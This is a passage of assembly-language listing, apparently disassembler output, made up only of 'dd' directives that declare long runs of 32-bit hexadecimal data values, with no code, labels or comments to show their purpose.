		dd 3D484FB6h, 5A74BDC2h, 8E813D82h, 9293CF53h, 0EF5827A0h
		dd 21DD032Ah, 0A2534115h, 2521EE0Eh, 4BD01F0Ah,	0BBE868ABh
		dd 9E62883Ch, 8747991Ah, 7EB1F596h, 0BAD7AC8Eh,	1C5995E8h
		dd 0A13BF1B2h, 1323FF92h, 286D7ADFh, 2FA81CA1h,	0CF970A9Ch
		dd 0F6717295h, 12C9D0C3h, 348CE473h, 348CFC63h,	793BA944h
		dd 667CAD9h, 7DEBF14Dh,	4BD1D72Fh, 8335B68Dh, 1565FF3Eh
		dd 0EAA589A6h, 211750Bh, 0B83BBD09h, 4D21B51Fh,	0CAB1017Dh
		dd 607469DCh, 4B236F97h, 0C7284D6h, 0D5A1C2F6h,	71A0A9A1h
		dd 8C1536BDh, 0E457D68Ah, 7BEA8007h, 0C572BE99h, 234DBFB6h
		dd 0E8B269Ah, 23CEC6D3h, 58238EFEh, 6CDF42FDh, 85B408E1h
		dd 0C73B6A7Eh, 4856D79Eh, 0A70F9FFAh, 0E3F3C8EBh, 0AF00F72Bh
		dd 72BC03DCh, 0EB21C06Fh, 0D7CA00B2h, 49C13563h, 0CCDCA699h
		dd 3E53486Eh, 384BA298h, 4C1337A8h, 0C79EFBABh,	79FC791Eh
		dd 0E71E47ADh, 0F138F36Dh, 0E600DFA3h, 1B70B7C2h, 0CD077DA4h
		dd 0FE58C3B0h, 0B714D689h, 61C8FFCDh, 50BF400Ah, 0E3CF5D1Bh
		dd 0DDFC7B47h, 4BA27F01h, 8EECCC26h, 0F81CEA3Eh, 15D0BEAEh
		dd 8EFEC28Ah, 0F3B2C6F7h, 8F71AA9Fh, 0DA79E74h,	0BF449C28h
		dd 2BBC7561h, 0DF00431Ch, 0C5B396FDh, 70E9686Ah, 0FD932F3Fh
		dd 0AE18997Ah, 53F12654h, 8C7856B4h, 9463C2B7h,	6C28AF90h
		dd 3ED1EBFDh, 0D1F6551Ah, 1C5ACFFAh, 5E3F2255h,	6DA39DCEh
		dd 7F6D8D3Dh, 0FF990719h, 6F1338FDh, 0E0E287Fh,	0E37505EEh
		dd 5364E0FFh, 78F401C7h, 0F88357F9h, 781ABFCBh,	0DB8E5DA7h
		dd 0FC57F0D5h, 2F6FBC9Ch, 7BE194B7h, 0AD5EFF7Ah, 0EA05F1AEh
		dd 5EDB1F1Ah, 0AFDA2C26h, 5D1A1F4h, 520605AFh, 6CF28C0h
		dd 9E33E642h, 652D8BD9h, 0F7A1E8Fh, 0DF0F8D0Fh,	696BF8CBh
		dd 93C9934Dh, 9E2181FEh, 4D3EDF3Bh, 33835C6h, 48E5A35Ch
		dd 0AE22FDCDh, 729BE1BDh, 7254517h, 7B7F5E30h, 671E0BA0h
		dd 890AB4DDh, 0D8EFE525h
		dd 0C17697BDh, 3A7AC5ECh, 0F7279840h, 9BBA8172h, 21EC2527h
		dd 0C68488Bh, 0AFB15D00h, 96147B30h, 0DA3A4CC2h, 0F5F193Fh
		dd 0EDC8B59Dh, 5687181Dh, 0BC03C142h, 9E819EE7h, 258D663Bh
		dd 0C73BE0CDh, 0DB2ED3BCh, 0FCA8358Fh, 995F1268h, 46A47DAh
		dd 352FF2FEh, 4EAABFD3h, 4B1BDA17h, 0A1B54EA8h,	0EE1AF946h
		dd 0F2E32F76h, 6A4CAF8Ah, 6B57CE5Bh, 14766F42h,	75DF6C9Eh
		dd 6C7EA670h, 0F4CBFBF1h, 4A51AD4Dh, 80B43593h,	0FF3787BDh
		dd 24F87B3Dh, 0F3693260h, 7141BFC3h, 33A55062h,	0B346F35Ah
		dd 0FDB6D483h, 0C5EE8F1Dh, 57B659C5h, 0B7C4185Fh, 6DA0C2D0h
		dd 0BFB4EE2Fh, 0D320E35Dh, 5E18EDA3h, 9C15F75Dh, 24D05842h
		dd 0BF8C4A68h, 63AF1878h, 44ED5EE7h, 0F1E3BFAFh, 82127CBDh
		dd 4347394Fh, 5FC65EF8h, 0F0D1AE26h, 36C28B2Ch,	646EC2DAh
		dd 0BBAA98D1h, 4D3E00E5h, 0E3CD66B9h, 602057ADh, 9C89A688h
		dd 83D79F80h, 59F4D5DBh, 0D0E911B8h, 3B81D08Dh,	0A9271C3Bh
		dd 7B41F0B4h, 0F6E34D4Ah, 0F7808294h, 0DDB0AE9Ah, 0F0EAF8F0h
		dd 4A3BCD66h, 8D906661h, 34989E56h, 0BBD0EB99h,	8FC15D0h
		dd 9F97C0E6h, 7036DE00h, 0ADE76F1Ah, 0AF94F156h, 33FABF1Ah
		dd 0D093E8D2h, 0B59EE20Ah, 7488BB21h, 0F6A51E88h, 29D2CA9Bh
		dd 0EE1F264h, 268EC9EEh, 26EC0D01h, 0FFEC0C98h,	5E3BEC8Ch
		dd 0D9C685A3h, 687943B0h, 0D0ABBF35h, 0F9D042AEh, 0E1EB7277h
		dd 333F9C68h, 64DBB77Bh, 0E2D47B23h, 0DDF0077Dh, 0F9BB0C2Fh
		dd 3726E645h, 0F0040FFCh, 72E729A2h, 0AC95EF98h, 0A16D77D2h
		dd 0B0DF1195h, 70704E2Ah, 0EBC11443h, 849C74E5h, 86F9EFA8h
		dd 7C34E28Dh, 0F849C498h, 0ABA45078h, 1861656Ah, 38612D35h
		dd 0A7A4333h, 4B4A3652h, 6E63A3FFh, 8ECB6F1Ah, 0DB1E16C7h
		dd 61E34C9Eh, 0DC8D500Ah, 0ECBF3716h, 62BD09CAh, 3B1EEE27h
		dd 8E9EAF76h, 0AF78839Dh, 0BF79D64Eh, 0FEDB1C34h, 0DDE01931h
		dd 0D546A74h, 0FD147FFBh, 6DFE4E3Fh, 0BE9C970Eh, 17E91283h
		dd 1E5EC286h, 745B2F47h, 0D5956896h, 930E1C2Fh,	0BDF2449Fh
		dd 0D6CCE491h, 25D0BF21h, 3D6CCE6Eh, 0F565362Ch, 8764F58Ah
		dd 5AF8F3C8h, 3A57D234h, 0EC0BD594h, 0D95F7BC5h, 0EB40EE01h
		dd 0F69FA7FEh, 9AB738DAh, 0BC0E9DA7h, 32B7695Dh, 486EC429h
		dd 950C3D2Dh, 0F741D135h, 57696F9h, 320BD3AFh, 6CD4193Bh
		dd 0A251865Eh, 0F82FDD76h, 0A5D3B2EEh, 989DF178h, 21B8F4F3h
		dd 41EAB628h, 301F3768h, 34F4386Eh, 0D49BFA70h,	0B1B3FC23h
		dd 0AF3B3847h, 4378F847h, 15AFF08Fh, 0AA3FC23Dh, 25D3847Bh
		dd 0F927C23Dh, 0AA99C23Dh, 1BEFE11Eh, 0A8F847Bh, 3D0F847Ah
		dd 0BEB0423Dh, 0F6805047h, 611EBCEFh, 711DC200h, 546F08F6h
		dd 20C708F6h, 0F5369FCCh, 7BC26F08h, 9DBFBC1Fh,	3BC23D4h
		dd 3085DE7Eh, 67FDC1C7h, 0FC11FFC0h, 8F627BFh, 0FDDC027h
		dd 3F017FEFh, 11EE6D7Fh, 93F782DEh, 0DECA7EF0h,	1DCFFC23h
		dd 29FBC23Dh, 8F51C23Dh, 0FDC9EFAh, 0D43B7469h,	0E03EB2F7h
		dd 856B6AB9h, 4E94BDDEh, 3FF5B89Bh, 0F3D2AC6Fh,	11F03F12h
		dd 0E79499C6h, 0CAF29C74h, 0C80CE96Fh, 5CFE3C66h, 0D5BB533Bh
		dd 0DBB8A61Eh, 0EC6AAA1Ah, 0E2347568h, 629A3A7Eh, 0F6FF9371h
		dd 0FD8F1993h, 7B4BAC9Bh, 8387D0ACh, 0C31E3393h, 8D927243h
		dd 0A62A206Ch, 23BDE2EFh, 7DAB26DFh, 67B96916h,	4CD221AEh
		dd 0F52514C4h, 2266F1A5h, 0D46E52EEh, 3CEDCA71h, 4D31874Dh
		dd 0ED64E7Fh, 3B621A23h, 0B9E7C352h, 3BC59DBEh,	5974BBDEh
		dd 86E3ED3Dh, 9196F8EEh, 0C9A19C6Ch, 2814C972h,	0B16C84B0h
		dd 28D5FE2Fh, 5944F69Fh, 2A10DC4Dh, 3A34F1A1h, 0F4EE6734h
		dd 2BC7E202h, 4E48EDB9h, 0BC33F89Eh, 0D79A000Bh, 58008B98h
		dd 7D0022F8h, 0E92398D1h, 0E1D39810h, 8EE98FD9h, 8A92FF7Dh
		dd 373AFF79h, 0A85BAA20h, 461DA8F7h, 0DC29539Bh, 36FC3947h
		dd 0BFC5B3F5h, 38278CC1h, 90753F95h, 0C135C3B5h, 0D5D997A5h
		dd 5F181C30h, 8F95CB60h, 0D817A77Fh, 0F3E1BD85h, 56FBB41h
		dd 1E6D1995h, 0C83B5B2Ah, 976A5D7Ah, 0F8755D76h, 853F84A2h
		dd 8CDF66ECh, 9C9F9A45h, 7B386110h, 9CDF8192h, 136E8D34h
		dd 0F8DE538Dh, 679C8E0Dh, 81CC2087h, 0B268CC5Bh, 76DB8C4Ch
		dd 53EC56E1h, 92176DD6h, 9FD48C9h, 6DC74A32h, 5F3A97D0h
		dd 0A433441Eh, 9E080EA5h, 7F8E68Ch, 0A77E39B9h,	0C183D4B3h
		dd 0CA1B8D10h, 90E793F2h, 27C47E45h, 10A7C18Fh,	67EBEC9Eh
		dd 284E4EACh, 43E32717h, 2DD0598Ch, 5586BC9Ah, 34A6BA4Eh
		dd 37396421h, 25AF0AB8h, 57260BD0h, 0D422FE39h,	6724B5Bh
		dd 0E61BE16Fh, 0CB6A5A45h, 6A445E51h, 0EA16C87Ah, 0DD3349A8h
		dd 253E617Eh, 5333D121h, 0ADCEE633h, 0A63373CCh, 0F1B8D9AFh
		dd 7CD06BD2h, 846B479Eh, 0D5D9196Bh, 0C0370B29h, 36C6CA5h
		dd 39BD1EE4h, 0BAB5E19Eh, 876DC8C9h, 973A09B0h,	95D3BC3Bh
		dd 1AF517F2h, 7E1BFF9Ch, 0CE9B1D68h, 0E4D499C1h, 1EEAACD7h
		dd 1F531013h, 0A0BF0CA7h, 20F33107h, 9F8830A7h,	370BA107h
		dd 4886693Ch, 94D3ADABh, 6120B5D7h, 0B7E52CDCh,	3414E3Ah
		dd 6FBB78DBh, 0B83FDA25h, 2BF93F59h, 6B5DED9Ah,	3672DDBAh
		dd 0CB975E36h, 1789D653h, 0FC80FDD5h, 95BAB77Ah, 0DA9AFD1Fh
		dd 0DC57C56Ch, 5F8CB5CCh, 32EB3746h, 1877ECABh,	71ECAB34h
		dd 44B56A48h, 0A485C31Ah, 0EF45835Fh, 0B257AC97h, 3BC06B87h
		dd 27CA1DE8h, 309D69BBh, 0BDF2B253h, 0E351BA2Bh, 72DC2593h
		dd 874866FBh, 8F6C647Ch, 0B1EB2F55h, 8531E49Eh,	72794534h
		dd 0E24298FFh, 0EF0E5C81h, 0FD81CAADh, 0E1FCACBAh, 39AA2A1Eh
		dd 49D95458h, 2D243A1h,	3A0FD65Ah, 77855AC6h, 0E85F1FECh
		dd 10C2CAC9h, 29CE42A7h, 7E7D3901h, 0CE827113h,	5BF18BB8h
		dd 0BEB33421h, 0FA3D7FCBh, 7D879755h, 7E7C194Dh, 5E7BA554h
		dd 0B76C29B1h, 16E66647h, 5E245DE5h, 8CEFDCC1h,	7EE6B1F4h
		dd 68FCFD7Fh, 0F3DFB9A4h, 0FDCD6369h, 0B993AC3Eh, 34FEDFB9h
		dd 5DA32732h, 0C592E61Eh, 9EFC8B64h, 1EF813DCh,	3EB3704Eh
		dd 43758A6Dh, 0CDCDB3A7h, 0EB24F500h, 15E7E350h, 6D93F3DBh
		dd 48133A68h, 45C62931h, 5E376F59h, 7CB2E6A0h, 7EF65B79h
		dd 58F953D0h, 749A4A03h, 0DCF74C87h, 0D287D3FBh, 70B936CDh
		dd 0F48D1DB3h, 9F27F824h, 0E59EB46h, 0B428EED1h, 6F4D123Bh
		dd 8107E3FBh, 73269C1Eh, 384C9C7Fh, 47B34968h, 7EC42EB3h
		dd 6710ED1Bh, 67B7C97Dh, 0F956E5CAh, 0E5B7ECC4h, 0DBFD0F2Fh
		dd 4EB9281Ah, 0F4383F95h, 2FE9AB77h, 9AB23E87h,	0D2FACFDEh
		dd 2FEC3A5Fh, 177EC6B7h, 6FC9D93Fh, 0ECD0FA1Dh,	0A304B62Fh
		dd 0B79C9DB8h, 0C4C61F7Ch, 0DA03F8BEh, 3B89248h, 48CF70DEh
		dd 0DA7E8BECh, 43B71219h, 0CD24EB4Eh, 0A23A5FD4h, 9E383BCh
		dd 851F53D7h, 0E234BB57h, 0C88F944Dh, 0EDCFF6BDh, 17F2ACEFh
		dd 9CFF9C8Fh, 0E37A711Bh, 0E2E44FDDh, 633FDF11h, 6EC5924Dh
		dd 4D1CB7DDh, 1684BFBEh, 6D8B051Dh, 7C65609Bh, 5671676Dh
		dd 77EC70EBh, 8BD34136h, 29D1F4B8h, 0E3A580DFh,	685C1F96h
		dd 0D89688BAh, 0F98F88D0h, 91E83C75h, 15F38515h, 0FB1830BFh
		dd 22E98FDDh, 459011E1h, 78705938h, 0A71CDECDh,	0D94F1EFAh
		dd 5B6D467Dh, 47BBFF93h, 17AAF0F0h, 1EEFFEDCh, 9AF021E3h
		dd 0C64BF26Ch, 23C502C7h, 3566BDCBh, 61DF39Dh, 69542F5h
		dd 0FC8468DDh, 4A7CE5F6h
		dd 1F7043CFh, 4621C5A4h, 0D3940E8Bh, 0BC86BDD9h, 72D86385h
		dd 0AA2243D3h, 83D3E48Ah, 1B010729h, 0AA521E28h, 0DF54977Dh
		dd 0E6BC1369h, 471618D4h, 6E0A52Bh, 0C878A6C5h,	0F29BF7F7h
		dd 7AE0C594h, 0CF1A20C6h, 0CC54349Fh, 0A1EA78D2h, 6F8454D7h
		dd 0DBC62CC5h, 0A0710366h, 0B665B1Bh, 68297F56h, 0EDB12395h
		dd 0DE80B087h, 0C4BDF588h, 0D97345F8h, 60AF3058h, 0E5A30749h
		dd 950C21D2h, 35AF966Bh, 0CD7ACA1Dh, 9B35C42Fh,	7871A5FCh
		dd 0C590F80Eh, 30D59A04h, 2FE5D424h, 7CB41B6h, 71C5598Fh
		dd 646AAB4Dh, 0A02E6E43h, 333523E4h, 984820D9h,	0B26AC658h
		dd 7EF48A59h, 410EEFECh, 0CD0A041Dh, 0CF366F59h, 35B140Eh
		dd 0CA058C3Eh, 98C305D1h, 0CD420C2Ch, 160DBA9Bh, 849C5F94h
		dd 823B3BF7h, 0F07C35BBh, 0CA0F8C09h, 9B185D2h,	32209943h
		dd 6F2F7DBFh, 940CFB04h, 213003CBh, 32EF4A61h, 0B972015Dh
		dd 0ADE506BDh, 0F235FA69h, 3E7A2274h, 0DD93E938h, 0E0C6AF4Bh
		dd 320635E6h, 0C1DCAE90h, 7FCFB9E7h, 2C7E999Dh,	0F9AB6CDAh
		dd 535BB3F5h, 2FF63D5Fh, 0A43E49D2h, 0B17EF3EBh, 3828C48Ch
		dd 62F0C73Ch, 6591E543h, 0F81517A4h, 0A2CA6F7Ah, 7AEF2D40h
		dd 341F3473h, 3AD8820Bh, 2C22497Eh, 0FE58451Fh,	0F0C2248Dh
		dd 14DD3F6Ah, 0EE7B66F1h, 0BE6E7B4Ah, 2461773Dh, 0D458F56Ah
		dd 0D8B39C36h, 0C914E1B7h, 0C2F3E68Eh, 94758784h, 892DCF68h
		dd 0CF60D0E4h, 0A1A3B2ADh, 75AC31E3h, 39B97BD3h, 223B0E21h
		dd 0B0861438h, 0E058116Dh, 7AC71E60h, 506E5F3Ch, 494872D9h
		dd 36451CB8h, 0C6C32F96h, 0BE6B115Fh, 0E5C67622h, 4A43B4D8h
		dd 0B8B115F4h, 0DCFBA027h, 0B4689CB6h, 0B73D691Fh, 4C5E9F2Dh
		dd 0DC6EAEF6h, 6FF644A1h, 0FB725656h, 0C5634F37h, 0F8B3F1A8h
		dd 0DF1407Dh, 6F331978h, 10DC1D34h, 594538B4h, 400F0536h
		dd 0B6F2C682h, 0A11CBDA0h, 0F13E3517h, 0E6A190D3h, 4283FCE5h
		dd 0F6681B67h, 0F9C5471Dh, 32FC77DBh, 5C6BF18Ah, 7EB6E46Ah
		dd 3A59093Ch, 39FB1CB2h, 3A0B2873h, 0B1C95B74h,	7D56CD5Eh
		dd 1CE80FCAh, 8F7E51E4h, 3DADCEBCh, 899EDC4h, 0CB1D7F6Eh
		dd 32FDA06Dh, 11DB7F6Eh, 0C97746E2h, 6FF545E0h,	0C6FD0EEh
		dd 3CA5D6BAh, 6EDA00FAh, 70386C55h, 9C11F287h, 0B83BC1ECh
		dd 8BB53BB9h, 11F54607h, 29B51B6Fh, 0FA5A8CD1h,	9A16166Bh
		dd 2C0DE0E1h, 0BD6546A0h, 48D8974Fh, 741FB946h,	17E4C90Dh
		dd 38AD6DACh, 3B222EA7h, 0EC82CF75h, 55B17B1Eh,	31AB0AE8h
		dd 0AE855B17h, 5A1272BBh, 0D5C25B49h, 380D94h, 0A43B8D7Ch
		dd 0FC14FCB5h, 366BA300h, 0F8BF056h, 7B41EEBAh,	64E6BD80h
		dd 0ADCF12BAh, 2F87BC1Ch, 0D317EB33h, 0D5DF628Ch, 0F2A71FB4h
		dd 4A592A79h, 0C084E58Eh, 24868813h, 0F7BFA83h,	5D0A005Ah
		dd 1E54E938h, 0B9F2429h, 0F8A136B5h, 88A584A7h,	0B87212D2h
		dd 273FCA5Ch, 431B7E93h, 45825256h, 160D42A1h, 0A8B67328h
		dd 8768ABEAh, 0BA57AB3Ch, 92E27955h, 0C5C955F6h, 84EC624Dh
		dd 1567409Fh, 798956DAh, 0EEA92FBh, 6E2E564Eh, 0BA69CAA6h
		dd 0D49CAA14h, 5AE08AAEh, 3F945917h, 0D6B6C40Eh, 0C2E65638h
		dd 0D75F8A14h, 0B47E392Dh, 35FA9298h, 40F065E5h, 0D78A4857h
		dd 4E97F5D3h, 0AA3992C5h, 0E1F1A706h, 49BC9BADh, 0E9EAB6E6h
		dd 66E1F94Ch, 18C35E5Ah, 71D30BB6h, 0E1531D14h,	387974F1h
		dd 88D6B856h, 52F47A38h, 40886D08h, 56842BFFh, 0A45096D0h
		dd 3CA58B5Dh, 0E6E558D2h, 0D0A98470h, 0A85D431Bh, 88CEF95Bh
		dd 6C820E6Eh, 77C3D43h,	33429885h, 650050E6h, 0D11A88EDh
		dd 780C42F1h, 2733B3C0h, 764AAA8Ch, 9FE29188h, 29C131A3h
		dd 0F5C9985Eh, 93289963h, 308AB528h, 654A3308h,	2AAAA2F4h
		dd 250A6C0Fh, 89B8D953h, 0E9C89A7Fh, 0FAE26756h, 0D0300D18h
		dd 229A94CAh, 1B928CCDh, 0DB860F86h, 0DBE2EE3Eh, 0B78C0C3Eh
		dd 3DA100EBh, 79935CA8h, 0A03ECFFAh, 6A19586Bh,	0DA4565E0h
		dd 4C5199E4h, 54EE4007h, 0BA756F60h, 0B48B9694h, 358B0075h
		dd 0F287979Dh, 68A827AFh, 0A72BF7B7h, 0AC69A99Bh, 1A6A18BCh
		dd 0C661BBDBh, 7A0AD665h, 6C25DCF8h, 25E5F304h,	85DF66C9h
		dd 1DD369Bh, 0D3DDEF02h, 2452B8D9h, 0FE0E37E9h,	0C35A0622h
		dd 5E1C1444h, 93283B5Ch, 0A79CE48Fh, 468399EBh,	2779F63Bh
		dd 19143075h, 163624h, 0EDFDEDCBh, 68B85127h, 0F9AFC087h
		dd 5E043A6Fh, 3D6E1CD2h, 0DEA0ABDDh, 4A441A79h,	56E62803h
		dd 3783C8BDh, 5B4B2700h, 0C1085A36h, 631162F6h,	0A8672F94h
		dd 0F94A306Ah, 90BD743Eh, 669C140h, 2B4A1C8Fh, 6E84D80Fh
		dd 18579961h, 8DCBC9Eh,	0AE9B78EFh, 35B24B35h, 0A03EF24Eh
		dd 0C54126BCh, 6AA70415h, 4458501Eh, 32F7C9E3h,	942939E5h
		dd 3407B942h, 0C4462B71h, 17E6F953h, 0EF695363h, 296AA60Ah
		dd 80BAEBA4h, 73E2A60Bh, 5AB5E64Ch, 0D05815C9h,	2A4EA65Ch
		dd 39CAC884h, 0DE769E4Bh, 2D78AE18h, 0ACF9C521h, 56914652h
		dd 8634B388h, 0FD90C45Fh, 56D12E4Dh, 6191117Ch,	20643161h
		dd 2AB5E318h, 966C4467h, 89CA188Ah, 62C665EEh, 0A1A909ADh
		dd 0A82D8426h, 0CA7AFB2Dh, 33BA14C4h, 0A6BEB2E4h, 0A1479575h
		dd 4784F17Fh, 2613B4D1h, 6EACAEECh, 73C76C77h, 0D829F0B8h
		dd 0ECEC3264h, 5DAABC74h, 5097819h, 5D4776A8h, 464BFB6Ch
		dd 0D8C4E4F2h, 0F850C647h, 0C671EA95h, 5249F2CEh, 0C9308F7Ah
		dd 0CF907DC0h, 58719A4Bh, 5DA6FC87h, 0F1E41655h, 54143D5Bh
		dd 0F64027B2h, 0E7B3E1E4h, 0F282E6F0h, 5D9DD8B8h, 0D7C5BA0Bh
		dd 87B44695h, 435871ABh, 0F8D2E845h, 8B8B9438h,	0A5DF6FA8h
		dd 8BA4D9BCh, 7F76BB3Bh, 367B5F0Fh, 487B89E1h, 0B71E9964h
		dd 1A865B0Bh, 9522B68Fh, 0D9D020C7h, 153AE9F7h,	6B306EABh
		dd 30CEF512h, 0AF84D783h, 0E65FA066h, 1A12C5B9h, 0A10D9402h
		dd 3953A777h, 978B3501h, 0CCCD446h, 4385197Ch, 1306D9C2h
		dd 0C24DF02Eh, 1F985A8Dh, 5650CDF9h, 0AD8ED6Ah,	0C7B874F4h
		dd 0F8C163A7h, 110D7874h, 7B3DE909h, 0BE305D0Dh, 0CA47AB26h
		dd 0ABCE7253h, 9CACAC11h, 0AB10C5D5h, 0B247E77Fh, 4B2638BAh
		dd 13FEA730h, 51B0DE56h, 8CD0564Ah, 0E1BF4BA8h,	9EAE4774h
		dd 51F39A97h, 6ECB6D74h, 8F0268F2h, 23539D6Fh, 0F74B3D32h
		dd 851C3438h, 83ECFB82h, 0E92CD1E4h, 0A67C5166h, 0D6CF551h
		dd 1BA4A321h, 42841F94h, 1B73FF2Bh, 0A0780E6Fh,	1C6AECEAh
		dd 0A5A38678h, 993D4AA9h, 0EF167F24h, 405B3E0Eh, 0A5C918D8h
		dd 0B6D39D94h, 0EF95EEBh, 8669BD50h, 5BA3B1AEh,	2FA51E83h
		dd 778C5214h, 1BBFD9F2h, 0FB64E2C2h, 90611097h,	0A45BF7ECh
		dd 0F15378C9h, 873116Fh, 27865F17h, 9E3C4548h, 57493A87h
		dd 0A9CB5D08h, 0F5A3C399h, 66397E4Dh, 1ED86543h, 22892D33h
		dd 0A4BE8FABh, 9B67B10Fh, 0E944DB88h, 6E43FFEEh, 45F97618h
		dd 331AF514h, 58C3FD8Dh, 0E9673DE5h, 24F0C553h,	0CBB38F29h
		dd 0D118ECE9h, 0B30A5DD9h, 635D1C43h, 23713630h, 0F0EB5EB4h
		dd 0F12B2642h, 55B0DFD0h, 1BE4504Ah, 73FE2A54h,	0BF7DF497h
		dd 75455F67h, 14B2786Fh, 0B379898Fh, 0AFEDE899h, 0FB3DD341h
		dd 14D69536h, 0BEC5A5Eh, 984ABCC0h, 673D50D8h, 0FCF50EDEh
		dd 0DC6D212Ch, 0DBD0D7DBh, 2A9984A3h, 7ACC444Dh, 0E47F04C0h
		dd 9DC69E1Bh, 0C10C400Fh, 0D3C37DC7h, 0ABFF82A5h, 0AEC1EF22h
		dd 0C1171CBDh, 6896FCACh
		dd 5DB7249Eh, 0B62B7ACDh, 9F1F8EDDh, 77863A5Eh,	7E562F63h
		dd 0DF9B1939h, 7BA0B401h, 0A3558A48h, 84F132BAh, 5B9AFE16h
		dd 0F90EB293h, 671B5E9h, 0FF2067h, 0D1E29943h, 6BD649EAh
		dd 867DE68Dh, 185DEE8Ah, 0E7A5EDB6h, 0BF1E3CD0h, 7A99C56Bh
		dd 0B25F332h, 553E295Eh, 9B740C11h, 4B54719Bh, 664BE642h
		dd 846AB04Eh, 287B35E7h, 0F15727EDh, 0B7CA0273h, 0B6E62288h
		dd 45C61F65h, 9EA6E91Fh, 28317C28h, 324EED7h, 256EB1D4h
		dd 0B29C31F3h, 0A0873328h, 0D9993CB8h, 0EF417B43h, 0F4BFCB5Eh
		dd 42EEF565h, 7069F8A7h, 92857E99h, 97F3FE2h, 3E9F8D64h
		dd 801F2A09h, 30A7EDC3h, 0E4BE50DAh, 8CB84BE9h,	0A2A6B65Eh
		dd 0ED91743Bh, 49A45D5Bh, 72EAD24Eh, 0E82D142Bh, 0E0C19A9Fh
		dd 1B755FB5h, 0ADD092CDh, 40B7782Bh, 2856D44Fh,	0DFD8CD27h
		dd 784F50C3h, 465DE8B7h, 0E15F1569h, 85CA1470h,	0AB42F60Dh
		dd 4E310DFDh, 37B1686Eh, 267FB42Ch, 0DD9C4E2Fh,	5FE43A63h
		dd 0FB34149Ch, 0EA624BEEh, 376544A6h, 6BA51C5Eh, 348371B8h
		dd 0DBC04F64h, 0B039493h, 4F7E5547h, 0ED416FCCh, 9E037B3Ah
		dd 13FDDA8Dh, 3B61BADDh, 0F27FB4CEh, 94D2CE3Ah,	0FA3C91B5h
		dd 43C11DFEh, 6FFBA85Ch, 0DB9CFF01h, 0DEE2547Ah, 0BA9E97F1h
		dd 7F8474B9h, 408E16C5h, 419AC580h, 0F17F2AECh,	9F717F61h
		dd 0E0D6993Ch, 86E4BB8Ah, 1286F6CDh, 0E982437Bh, 5C74BF53h
		dd 57DA295Eh, 2657DA16h, 99FCBFAh, 0CF29F714h, 6A92EB7Fh
		dd 0E7FCE77Fh, 0A5FCF7A6h, 0C069E4C7h, 4CCA0E95h, 328388Dh
		dd 9E9722E5h, 1D73EE22h, 549E6355h, 4A508544h, 0BE4D8A26h
		dd 291DE3A6h, 0FF04DD41h, 504DD4E3h, 0D6B42D86h, 1BF670B7h
		dd 1BC1DBEAh, 0A41A5F7Ch, 664DD5EBh, 86059375h,	31D64DFAh
		dd 3B433264h, 0AFB400DEh, 9062D925h, 2F07866h, 1DBE3522h
		dd 0B27E4B25h, 622E1779h, 9122A707h, 4A5F1349h,	13E66C98h
		dd 0E832483Fh, 0B7F92E3Ah, 0F30F125h, 0BAC6473Bh, 78C4C9F3h
		dd 0A8309DC6h, 1D06E9ACh, 0F0D82603h, 599E0A0Bh, 0AFCE3F8Dh
		dd 86933F6h, 683A82C5h,	0B1832B06h, 237BDBBDh, 0BC6A812Ah
		dd 0EA70FC07h, 5457847h, 72CCF4CCh, 10D9198Eh, 0F21ACFF2h
		dd 2D66D076h, 2FE0CC3Dh, 0D15B204h, 4808E2A5h, 0FA68335Fh
		dd 1497E161h, 5042A162h, 741C6AD2h, 592CBA65h, 99DD27EDh
		dd 4C522C6Bh, 0EE85816Fh, 0F0482BC0h, 0EAC99F97h, 0E22B97F6h
		dd 680081CDh, 6F72EA1Dh, 0C2AB3002h, 9B1D9B0Fh,	46782269h
		dd 978168EEh, 20B902E0h, 9C5BAB31h, 1E200817h, 0A449816Fh
		dd 81C9894Ch, 7638858Eh, 0A9541378h, 0A39B0F53h, 17A7CD87h
		dd 0A41ECE45h, 0E84B052Bh, 37A7655Ah, 77213D45h, 391B99E0h
		dd 5DC556B0h, 1D984847h, 0C7E48958h, 2FE6BF66h,	617E63Eh
		dd 1AF043E5h, 3903EC08h, 0E0EB76F9h, 0E17EC3DBh, 681281F0h
		dd 0DE1DCBDAh, 103BFBAFh, 1F35378Dh, 0DF175921h, 0FD3AF102h
		dd 0BF1A9742h, 4ADDBF19h, 0C279785Dh, 71EFBC11h, 0DC75AF10h
		dd 0AB30E813h, 7C5F9774h, 8030A61Dh, 72D0F92Eh,	17F41A55h
		dd 9C78869Fh, 0D0287FC8h, 54294551h, 7A518FE3h,	59B1E5D1h
		dd 8C36BA1h, 2B716CD1h,	0DB8F5EAFh, 0F0301AABh,	729489CBh
		dd 8CBEFE0Fh, 0D72F4D1Eh, 0F1FB6E51h, 53D6A51Eh, 92099935h
		dd 0CBFAAEC5h, 0B191C1FBh, 1F2FEAC6h, 3A550510h, 8502A01Dh
		dd 78E19D88h, 0E674685Ah, 25FA78F1h, 288FFA54h,	684B8C4Eh
		dd 53544D9Fh, 12674607h, 0C2FC86h, 1F1E1132h, 5C7841C3h
		dd 4BA7A64Fh, 0C1471E0Bh, 1E16CF77h, 17D0BF7h, 33461E1h
		dd 0D7335E06h, 0C7E5FCD8h, 97F2AEB7h, 23E72F5Bh, 55915B17h
		dd 2C1B5E12h, 0D579C417h, 0ECC5BE40h, 0D73D6E40h, 612CB711h
		dd 0E029D6E7h, 1E19C1C5h, 70AA3087h, 35609B7Ch,	0E15E27E3h
		dd 0AD815678h, 0B8B919E5h, 0E778AB2Fh, 78B92643h, 57C05E27h
		dd 0A599FDAh, 1E38F0A2h, 73580BC0h, 0E507C5FDh,	65E947E2h
		dd 5C9356DFh, 0F88E98AAh, 0DB83F78Bh, 529606F4h, 5138B0F1h
		dd 0EA6D3D2Eh, 0EF01BD33h, 46B71759h, 3031AC05h, 0DE8A3B1Bh
		dd 33E2E446h, 0A3147F59h, 0C20C874Ch, 8D513788h, 91CC7EFh
		dd 7493AD23h, 91185F87h, 99440185h, 1AE215E8h, 6615C40Ah
		dd 74A22296h, 3A502F04h, 1ED81720h, 1C7ADF3Bh, 0EB7B524Ah
		dd 0A9344778h, 0C40E12E0h, 4C0615EEh, 9184B287h, 0B0B24996h
		dd 1066B21Fh, 0C96F8386h, 0C4EF31C2h, 0D8F2CEB2h, 0B1EBB980h
		dd 53217F3h, 5B7D2B68h,	0BC46BC93h, 0BC793E2h, 0CB0D31E9h
		dd 353D6840h, 0BAFBE85Bh, 6175FFD0h, 0D16ADE58h, 980C976Eh
		dd 2DFAF03Bh, 80BC9287h, 56433FCCh, 98E46AFAh, 3751E81Ah
		dd 664F64D5h, 0F64D7C62h, 35311044h, 0CC986BDh,	35B9B908h
